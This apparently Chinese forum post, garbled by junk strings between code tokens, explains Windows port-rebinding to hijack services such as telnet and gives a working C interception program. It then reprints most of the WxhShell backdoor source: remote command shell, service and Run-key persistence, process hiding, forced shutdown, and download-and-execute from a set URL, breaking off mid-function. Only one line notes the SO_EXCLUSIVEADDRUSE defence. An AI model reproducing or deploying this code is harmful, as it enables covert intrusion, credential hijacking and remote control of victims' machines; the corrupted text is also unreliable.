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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ey$&;1x#5 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]:J$w]\ `r 3 saddr.sin_family = AF_INET; %d9uTm; Pa:|_IXA saddr.sin_addr.s_addr = htonl(INADDR_ANY); b@hqz!)l` .HABNPNg( bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); DZtsy!xA sK?twg;D*| 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $6R-5oQ 4;2uW#dG" 这意味着什么?意味着可以进行如下的攻击: [j+sC* e~"U @8xk~ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Tpa5N'O E|shs=I 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `C'H.g\>2Q F#5~M<`.o 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <t!W5q ,f?*{Q2 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 `r 4fm`< 7D_= 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 uHRsFlw S~G]~gt 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &m;*<}X }4X0epPp;: 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *wjrR1#81x <qt|d& #include p0eX{xm #include B^}yo65I #include M&M6;Ph #include y$M%2mh` DWORD WINAPI ClientThread(LPVOID lpParam); 0jWVp-y int main() as=fCuJ { lPAQ3t!, WORD wVersionRequested; -yNlyHv9 DWORD ret; cPQiUU~W@ WSADATA wsaData; \a3+rNdj BOOL val; Y8t8!{ytg SOCKADDR_IN saddr; es0hm2HT3 SOCKADDR_IN scaddr; *|HY>U. int err; E _|<jy$` SOCKET s; 3Tm+g2w2V8 SOCKET sc; ?+8\.a! int caddsize; %A0/1{( HANDLE mt; 1Ai^cf:S DWORD tid; >+T)#.wo& wVersionRequested = MAKEWORD( 2, 2 ); 3o/[t err = WSAStartup( wVersionRequested, &wsaData ); dqcL]e if ( err != 0 ) { L-&\\{X printf("error!WSAStartup failed!\n"); llDkJ)\
return -1; 4Wp=y } 5#z1bu saddr.sin_family = AF_INET; RPbZ(. 0b 54fD= //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 tX~w{|k EKN~H$. saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 1=v*O.XW` saddr.sin_port = htons(23); %@Jsal' if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) b#o|6HkW { /g.U&oI]D printf("error!socket failed!\n"); PZzMHK?hP return -1; UC$ppTCc? }
{K!)Ss val = TRUE; HK%7g //SO_REUSEADDR选项就是可以实现端口重绑定的 )LCHy^' if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]I6 J7A[ { -tU'yKhn printf("error!setsockopt failed!\n"); lk =<A"^S return -1; !ubD/KE } Ni7nq8B< //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; :~SyL ! //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 (w zQ2Dk //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 3iU=c&P O33`+UV"W if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) f,Ghb~y { BL4-7 ret=GetLastError(); onV>.7sG printf("error!bind failed!\n"); 7PF%76TO return -1; H0cA6I } .c cp listen(s,2); q0\6F^;M while(1) f<6lf7qzC { EBmt9S caddsize = sizeof(scaddr); yF/j Fn //接受连接请求 4`=mu}Y2 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {7pli{` if(sc!=INVALID_SOCKET) 9Gz=lc[!7 { Xlt|nX~#; mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); i{qgn%#}Y if(mt==NULL) (uidNq { Wn}'bqp printf("Thread Creat Failed!\n"); Vf1^4t break; [a<SDMR } @|T'0_' } AT|3:]3E CloseHandle(mt); 2b8L\$1q } r,2g^K)6 closesocket(s); |sZHUf_ WSACleanup(); >c}u>]D return 0; Ssg&QI } p{dj~ &v DWORD WINAPI ClientThread(LPVOID lpParam) Qe(:|q_ { m~ee/&T SOCKET ss = (SOCKET)lpParam; ygl0k \ SOCKET sc; kg\>k2h unsigned char buf[4096]; E&:,oG2M SOCKADDR_IN saddr; |
VDV<g5h long num; k$}fWR DWORD val; +x}<IS8 DWORD ret; .6 ?U@2 //如果是隐藏端口应用的话,可以在此处加一些判断 Rbv;?'O$L //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 C+&l<
fM& saddr.sin_family = AF_INET; &PtJ$0%q saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^T-V^^#( saddr.sin_port = htons(23); o*hF<D$Y if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7"D.L-H { iO;
7t@]- printf("error!socket failed!\n"); 8DaL,bi*. return -1; \Y}8S/] } SMK_6?MZ val = 100; A&jlizN7 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Aq7osU1B { Kx JqbLUC ret = GetLastError(); b>JDH1) return -1; "C`Ub } H}
g{Cr"Ex if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~61v5@ { geCM<] ret = GetLastError(); ,s;UfF return -1; E-g_".agO } JqiP>4Uwm^ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 9'q*:&qq { }RqK84K printf("error!socket connect failed!\n"); *CHX closesocket(sc); 45>?o closesocket(ss); lnR{jtWP return -1; 6)Lk-D } 8}UIbF while(1) AYx{U?0p { VP]% Hni] //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 HyWCMK6b //如果是嗅探内容的话,可以再此处进行内容分析和记录 Th%Sjgsn //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 um0N)&iY num = recv(ss,buf,4096,0); M =r)I~ if(num>0) c!9nnTap send(sc,buf,num,0); "9e\c;a else if(num==0) n?Nt6U break; [ibu/W$ num = recv(sc,buf,4096,0); sON|w86B if(num>0) ?5
7Sk+ send(ss,buf,num,0); `W*U4?M else if(num==0) tZG:Pr1U@ break; HA>OkA/ } W6/yn closesocket(ss); Ek]'km! closesocket(sc); CizX<Cr} return 0 ; d-dEQKI?; } dlTt_. B0]~el &KRX[2 ========================================================== p=}Nn( ~M4; 下边附上一个代码,,WXhSHELL *bA.zmzM SI-Ops~e ========================================================== OpYY{f ^$hH1H+V #include "stdafx.h" H~1jY4E .ctw2x5W #include <stdio.h> B,epzI #include <string.h> G*P#]eO #include <windows.h> kL"2=7m; #include <winsock2.h> @t_=Yl2; #include <winsvc.h> uk<9&{ #include <urlmon.h> %M|hA#04vZ wEvVL #pragma comment (lib, "Ws2_32.lib") a HR"n|7{ #pragma comment (lib, "urlmon.lib") vnZC,J ` bAtSV u #define MAX_USER 100 // 最大客户端连接数 338k?nHxv #define BUF_SOCK 200 // sock buffer .jWC$SVR #define KEY_BUFF 255 // 输入 buffer ExL0?FemWV VQ9/Gxdeo #define REBOOT 0 // 重启 &Ys<@M7E: #define SHUTDOWN 1 // 关机 CN8Y\<Ar fHd#u%63K #define DEF_PORT 5000 // 监听端口 57']#j#"hj |imM#wF #define REG_LEN 16 // 注册表键长度 #fn)k1 #define SVC_LEN 80 // NT服务名长度 fSvM(3Y<Qh :(*V?WI // 从dll定义API K} X&AJ5A typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Wf>R&o6tr typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VY=jc~c]v typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ig0VW)@ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Gm^U;u}=f 3eAX.z`D // wxhshell配置信息 O`t&ldU struct WSCFG { 8\A#CQ5b int ws_port; // 监听端口 v\%HPMlh char ws_passstr[REG_LEN]; // 口令 9w"4K. int ws_autoins; // 安装标记, 1=yes 0=no 7CURhDdk char ws_regname[REG_LEN]; // 注册表键名 4yr'W8X_ char ws_svcname[REG_LEN]; // 服务名 =|y9UlsD char ws_svcdisp[SVC_LEN]; // 服务显示名 lE(HFal0-( char ws_svcdesc[SVC_LEN]; // 服务描述信息 `%9 uE( char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ">,|V-H int ws_downexe; // 下载执行标记, 1=yes 0=no yg=q;Z>[~ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" FxWS V| Z char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9Uekvs=r=M 9ZsVy }; fW1CFRHH J$w<$5UY // default Wxhshell configuration \aUC(K~o\; struct WSCFG wscfg={DEF_PORT, CXx*_@}MU "xuhuanlingzhe", o&)8o5 1, [
=9T*Sp "Wxhshell", ;)z:fToh "Wxhshell", +`3)o PV) "WxhShell Service", pG^ "Wrsky Windows CmdShell Service",
PQSP& "Please Input Your Password: ", `*cxH.. 1, ub#a` " http://www.wrsky.com/wxhshell.exe", oC: {aK6\ "Wxhshell.exe" x$.^"l-vX }; ^]0Pfna+N ;oKZ!ND // 消息定义模块 l<LP& char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *-=(Q`3 char *msg_ws_prompt="\n\r? for help\n\r#>"; GxI!{oi2 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; %G/hD char *msg_ws_ext="\n\rExit."; .* ?wF char *msg_ws_end="\n\rQuit."; RYQR(v char *msg_ws_boot="\n\rReboot..."; ~IfJwBn-i char *msg_ws_poff="\n\rShutdown..."; ,,&*:<Q char *msg_ws_down="\n\rSave to "; ~"&|W'he[ i$:*Pb3mV char *msg_ws_err="\n\rErr!"; %G_B^p4 char *msg_ws_ok="\n\rOK!"; ]7F=u!/`<C gmO! char ExeFile[MAX_PATH]; gx8ouOh int nUser = 0; sV{,S>s HANDLE handles[MAX_USER]; ,c$_t+ int OsIsNt; V6&!9b 0w\zLU SERVICE_STATUS serviceStatus; rb2S7k0{ SERVICE_STATUS_HANDLE hServiceStatusHandle; UXc-k 5T_n %vz // 函数声明 qo90t{|c int Install(void); .9 on@S int Uninstall(void); LqoB 10Kc\ int DownloadFile(char *sURL, SOCKET wsh); 1EO7H{E= int Boot(int flag); ?wiCQ6*$ void HideProc(void);
nzuX&bSw int GetOsVer(void); MSQEO4ge int Wxhshell(SOCKET wsl); av}k)ZT_ void TalkWithClient(void *cs); H1pO!>M int CmdShell(SOCKET sock); [fya)} int StartFromService(void); '8RsN-w int StartWxhshell(LPSTR lpCmdLine); #zv3b[@ BOb">6C VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dh`K`b4I VOID WINAPI NTServiceHandler( DWORD fdwControl ); d6?j`~[7#- t9k zw*U9 // 数据结构和表定义 |C;=-| SERVICE_TABLE_ENTRY DispatchTable[] = :t"^6xt { ~ drS} V {wscfg.ws_svcname, NTServiceMain}, ITE{@1 {NULL, NULL} knu,"< }; vsCCB}7\ iW]j9} t // 自我安装 Sxt"B int Install(void) [i21FX { %B2'~|g char svExeFile[MAX_PATH]; tzWSA-Li HKEY key; CTB~Yj@d+ strcpy(svExeFile,ExeFile); QUwd [ :)-Sk$ // 如果是win9x系统,修改注册表设为自启动 !_]Y~[ if(!OsIsNt) { tVYF{3BhA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }Sm(]y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1![!+X:w RegCloseKey(key); |IeTqEu9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (R[[Z,>w. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WrnrFz RegCloseKey(key); p,EQ#Ik return 0; %+aCJu[k(z } i^/T } 0JWDtmK=C } pxA? else { 7cuE7" yJ[0WY8<kC // 如果是NT以上系统,安装为系统服务 6+:iy'- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mxvp3t \ if (schSCManager!=0) fF!Yp iI" { gldAP: SC_HANDLE schService = CreateService KaLzg5is ( w1FcB$ schSCManager, vz@A;t wscfg.ws_svcname, P7[h-3+^ wscfg.ws_svcdisp, k90YV( SERVICE_ALL_ACCESS, [7:,?$tC SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vSGH[nyCY SERVICE_AUTO_START, ~T"Rw2vb SERVICE_ERROR_NORMAL, %HhBt5w svExeFile, 'NbHa! NULL, F;Spi NULL, ^L,K& Jd NULL, cRC6 s8 NULL, .o6Or:L NULL 8$]1M,$r ); kl"hBK#D% if (schService!=0) _kC-dEGf!y { nd`1m[7MNu CloseServiceHandle(schService); L@rcK!s,lD CloseServiceHandle(schSCManager); DVO.FTV^` strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;'gWu strcat(svExeFile,wscfg.ws_svcname); Q*GN`07@?d if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x
o;QCOH RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5f rX RegCloseKey(key); mupT<_Y return 0; xPdG*OcX! } Q1lyj7c#x } ,S\CC{! CloseServiceHandle(schSCManager); ]|#+zx|/D } B 5L2< } UklUw T%+#xl return 1; ^ G]J ,+ } PhLn8jNti 7o\@>rNWP // 自我卸载 3s*mbk[J int Uninstall(void) Q;Ak4[ { )w em|:H HKEY key; ~"gA,e-) $+Z[K.2J if(!OsIsNt) { *9
{PEx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $yP*jO4i RegDeleteValue(key,wscfg.ws_regname); eNh39er RegCloseKey(key); :x3QRF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Fk7?xc RegDeleteValue(key,wscfg.ws_regname); ZT*ydln RegCloseKey(key); _=>He=v/ return 0; TT%M'5& } 5{TsiZh4 } + SzU } |*Yr<zt else { BX/8O<s0 ?Rb9|`6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2F[ q). if (schSCManager!=0) |o"?gB}Dh {
y`iBFC;_ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4IK( 7 if (schService!=0) Gf6p'(\zun { 'd0~!w if(DeleteService(schService)!=0) { + /G2fhE CloseServiceHandle(schService); m[osg< CR_ CloseServiceHandle(schSCManager); qw301]y return 0; 1y&\5kB } _~m5^Q& CloseServiceHandle(schService); >IafUy } d7^}tM CloseServiceHandle(schSCManager); [&[k^C5 } Cl.x'v } OG~gFZr)6 UBKu/@[f@ return 1; wVXS%4|v } Z3e| UAif ,]C;sN%~} // 从指定url下载文件 FgnTGY} int DownloadFile(char *sURL, SOCKET wsh) .8g)av+ { OF>mF~ HRESULT hr; ,^r9n[M4M char seps[]= "/"; ;1W6G=m char *token; jwe *(k]z char *file; *U- 4Sy char myURL[MAX_PATH]; _{O>v\u char myFILE[MAX_PATH]; e4$H&'b| P{`C^W$J^ strcpy(myURL,sURL); v~+(GqR=+ token=strtok(myURL,seps); o 11jca| while(token!=NULL) FZQP%]FX { 68|E9^`l file=token; urc|
D0n token=strtok(NULL,seps); 7Die
FZ? } )}R0Y=e FkDmP`Od GetCurrentDirectory(MAX_PATH,myFILE); tFn)aa~L strcat(myFILE, "\\"); pad*oPH, strcat(myFILE, file); S}3fr^{. send(wsh,myFILE,strlen(myFILE),0); P:S .~Jq send(wsh,"...",3,0); ;+_:,_ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]%SH> if(hr==S_OK) QZwNw;$k* return 0; /62!cp/F/D else mIvx1_[ return 1; l4YbK np] .sW|Id ) } !,uE]gwLw M?49TOQA // 系统电源模块 <}Vrl`?h int Boot(int flag) ",t?8465y { }K>d+6qk5 HANDLE hToken; =s{> Fsm1 TOKEN_PRIVILEGES tkp; qZh/IW uZYF(Yu if(OsIsNt) { ;1=1:S8 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Po0A#Z l LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :=V[7n]) tkp.PrivilegeCount = 1; 8d{0rqwNE tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3`?7<YJ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7z,C}-q if(flag==REBOOT) { y<3-?}.aZ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V &T~zh1 return 0; ~=LE0. 3[ } On?v|10r' else { >6-`}G+| if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) UDFDJm$ return 0; MchA{p&Ol } nFCC St$ } gJ+'W1$/ else { %2{ye
if(flag==REBOOT) { W@IQ^
}E if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) DCa^
u'f return 0; 3,w_".m`# } wJqMa9| else { **CR}
yV if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >Tx?%nQ return 0; (WJRi:NP? } /N.b%M]! } BlO<PMmhT& ^76]0`gS return 1; 2,F.$X } ,`Z1m
o>n J;e2&gB // win9x进程隐藏模块 5DZ#9m/ void HideProc(void) T-L||yE,h { \)[j_^ j$:~Rek HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +sA2WK] if ( hKernel != NULL ) +\A,&;!SR { ^
@5QP$. pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;'K5J9k ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]6`% FreeLibrary(hKernel); J@'wf8Ub } aXYY:; 3$R1ipb return; BU_nh+dF } x9g#<2w8 SH$PwJ U // 获取操作系统版本 m(!FHPvN int GetOsVer(void) %$L{R { n84|{l581 OSVERSIONINFO winfo; "8MF_Gu): winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;^*W+,4WB GetVersionEx(&winfo); niyV8v if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) HV|,}Wks6s return 1; O>,e~#! else >bW#Zs,6 return 0; da(<K} } EQM{ 3pKQ$\u // 客户端句柄模块 H{wl% G int Wxhshell(SOCKET wsl) 7:1Lol-V { fZF@k5*\ SOCKET wsh; :F?C)F struct sockaddr_in client; }7Q% 6&IR DWORD myID; l_p2Riv Nf\LN$ &8 while(nUser<MAX_USER) K|,
.C[ { lf,5w int nSize=sizeof(client); k,*XG$2h wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O0.*Pmt if(wsh==INVALID_SOCKET) return 1; 7@Qcc t4A 4WB0Pt{ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /N{*"s2) if(handles[nUser]==0) 9'B `]/L closesocket(wsh); ]f_p8?j" else 5H^(2w nUser++; <hyKu
} ?J0y| WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B+`g>h $&c*'3 return 0; R|(a@sL } Le^ n +5x jP.dDYc // 关闭 socket !N^@4* void CloseIt(SOCKET wsh) ;uGv:$([g { P%n>Tg80M closesocket(wsh); Kg]J/|0\ nUser--; sI2^Qp@O1 ExitThread(0); QT}tvm@PMq } n@3>6_^rwT tuX|\X // 客户端请求句柄 h";L void TalkWithClient(void *cs) UiNP3TJ'L { |-H&o] &p,]w~d,U SOCKET wsh=(SOCKET)cs; lB4WKn=?Kl char pwd[SVC_LEN]; ['D]>Ot68 char cmd[KEY_BUFF]; P+}h$_x char chr[1]; /-s6<e! int i,j; zQ PQ 6]wIG$j while (nUser < MAX_USER) { :4|4 =mkr j>kqz>3 if(wscfg.ws_passstr) { n6v6K1 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Hn:Crl y# //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &^nGtW%a 9 //ZeroMemory(pwd,KEY_BUFF); K sCyFp i=0; +7}]E1Uf while(i<SVC_LEN) { O/LXdz0B cwL_tq // 设置超时 >Q*Wi fd_set FdRead; F'Z,]b'st3 struct timeval TimeOut; AQ Ojit6p FD_ZERO(&FdRead); Bw
yx c FD_SET(wsh,&FdRead); ?7A>+EY TimeOut.tv_sec=8; AZ<=o TimeOut.tv_usec=0; O.M1@w] int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); dr"1s-D4IQ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i#O SC5ZI VEH>]-0K if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1~gCtBRM pwd =chr[0]; EM_d8o)`B if(chr[0]==0xd || chr[0]==0xa) { E-FUlOG& pwd=0; #9s,#
} break; TqQ[_RKg2 } g)B]FH1 i++; 4ppz,L,4 } {RPI]DcO/ SX#&5Ka/ // 如果是非法用户,关闭 socket @F>D+=hS if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D+c>F5 } p4QU9DF A}w/OA97RO send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3c%caK send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CGFDqCNr- $Kd>:f=A while(1) { 3U}%2ARo_ wM{s|Ay ZeroMemory(cmd,KEY_BUFF); 1Ws9WU 1H9!5=Ff // 自动支持客户端 telnet标准 j1Ezf=N6` j=0; {G-kNU while(j<KEY_BUFF) { sq]F;=[5 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <naz+QK' cmd[j]=chr[0]; 0`H#
'/ if(chr[0]==0xa || chr[0]==0xd) { vD4*&|8T# cmd[j]=0; )}vl\7= break; @nf`Gw ; } HT@=evV j++; Z :gyz$9w } z%kULTL t,'<gI // 下载文件 $d4n"+7 if(strstr(cmd,"http://")) { rlD8D|ZG send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]^]wP]R_ if(DownloadFile(cmd,wsh)) Mihg: send(wsh,msg_ws_err,strlen(msg_ws_err),0); # "an9< else )e{}V\;q send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); adw2x pj } Zc2PepIg else { x"gVq
~ v0y(58Rz. switch(cmd[0]) { &{i{XcqH' 28nFRr // 帮助 Js;h% case '?': { v>56~AJ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i9$ Av break; f!"w5qC^ } 3a|\dav% // 安装 cZ06Kx.. case 'i': { nP$9CA if(Install()) ;Qq\DFe.w send(wsh,msg_ws_err,strlen(msg_ws_err),0); =Sv/IXX\di else -HuA
\0J send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o(HbGHIP break; )X!,3Ca{43 } A=4OWV? // 卸载 q*KAk{kR(v case 'r': { 0aAoV0fMDz if(Uninstall()) :pUtSs7p} send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xeajxcop# else w(rE`IgW send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); If.r5z9 break; 7Ix973^ } Y0>y8UV // 显示 wxhshell 所在路径 1"g<0
W case 'p': { .u:GjL'$ char svExeFile[MAX_PATH]; 7 3m1 strcpy(svExeFile,"\n\r"); v:U-6W_)| strcat(svExeFile,ExeFile); 8_8l.!~ send(wsh,svExeFile,strlen(svExeFile),0); &NWEqBz*2 break; v1[29t<I! } 6 r"<jh # // 重启 %LV9=!w case 'b': { 0mnw{fE8_ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); r,udO,Yi=c if(Boot(REBOOT)) /NlGFO*Z send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9UkBwS` else { /ouPg=+Nl closesocket(wsh); jF>[?L ExitThread(0); FtZ?C@1/ } {FGj]* break; ZEQ Ex]Y } J1vR5wbu // 关机 u"8yK5! case 'd': { O}P`P'Y|' send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /,dz@ if(Boot(SHUTDOWN)) SIllU send(wsh,msg_ws_err,strlen(msg_ws_err),0); \8
":]EU else { s S
Mh`4' closesocket(wsh); [ }:$yg ExitThread(0); 9z0p5)]n> } >Q/Dk7 # break; pJ=#zsE0 } "8/,Y"W" // 获取shell 5bIw?%dk( case 's': { cR{#V1Z CmdShell(wsh); TseGXYH closesocket(wsh); s.#`&Sd> ExitThread(0); GVz6-T~\> break; ~[
F`" } >usL*b0% // 退出 43w}qY1 case 'x': { S@Y39 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lFkR=!?= CloseIt(wsh); bLL2 break; UBs4K*h|
} vIvIfE // 离开 wq{hF< case 'q': { ~rm_vo send(wsh,msg_ws_end,strlen(msg_ws_end),0); t7pFW^& closesocket(wsh); }b}m3i1 WSACleanup(); g7|@ exit(1); b$7 +;I; break; <%^&2UMg } >_TZ'FT } \*da6Am } SJLis"8 >l m&iF3y // 提示信息 eE Kf|I if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J4'eI[73 } ?M2J wAK5 } h1RSVp+?n _aphkeqd return; @W<m4fi } iscz}E,Y qK+5NF| // shell模块句柄 `^vE9nW7 int CmdShell(SOCKET sock) V#HuIgf- { x;S @bY STARTUPINFO si; wzA$'+Mb ZeroMemory(&si,sizeof(si)); SM'|+ d si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t1".0 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m 5.Zu. PROCESS_INFORMATION ProcessInfo; GyIV
Hby char cmdline[]="cmd"; l}
/F* CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +vH4MwG$.& return 0; 1oS/`) } _t$sgz& {ax:RUQxy // 自身启动模式 >z03{=sAN int StartFromService(void) W!X@ { > I?IPQB
typedef struct e(sk[guvX { '%qr.T
% DWORD ExitStatus; do%&m]#; DWORD PebBaseAddress; !VJoM,b8 DWORD AffinityMask; 97]E1j] DWORD BasePriority; +0&/g&a\R ULONG UniqueProcessId; #R"*c
hLV ULONG InheritedFromUniqueProcessId; b-DvW4B } PROCESS_BASIC_INFORMATION; g(052]
=&]L00u. PROCNTQSIP NtQueryInformationProcess; n]9$:aLZ XUYtEf static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A<{{iBEI` static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r"
y.KD^
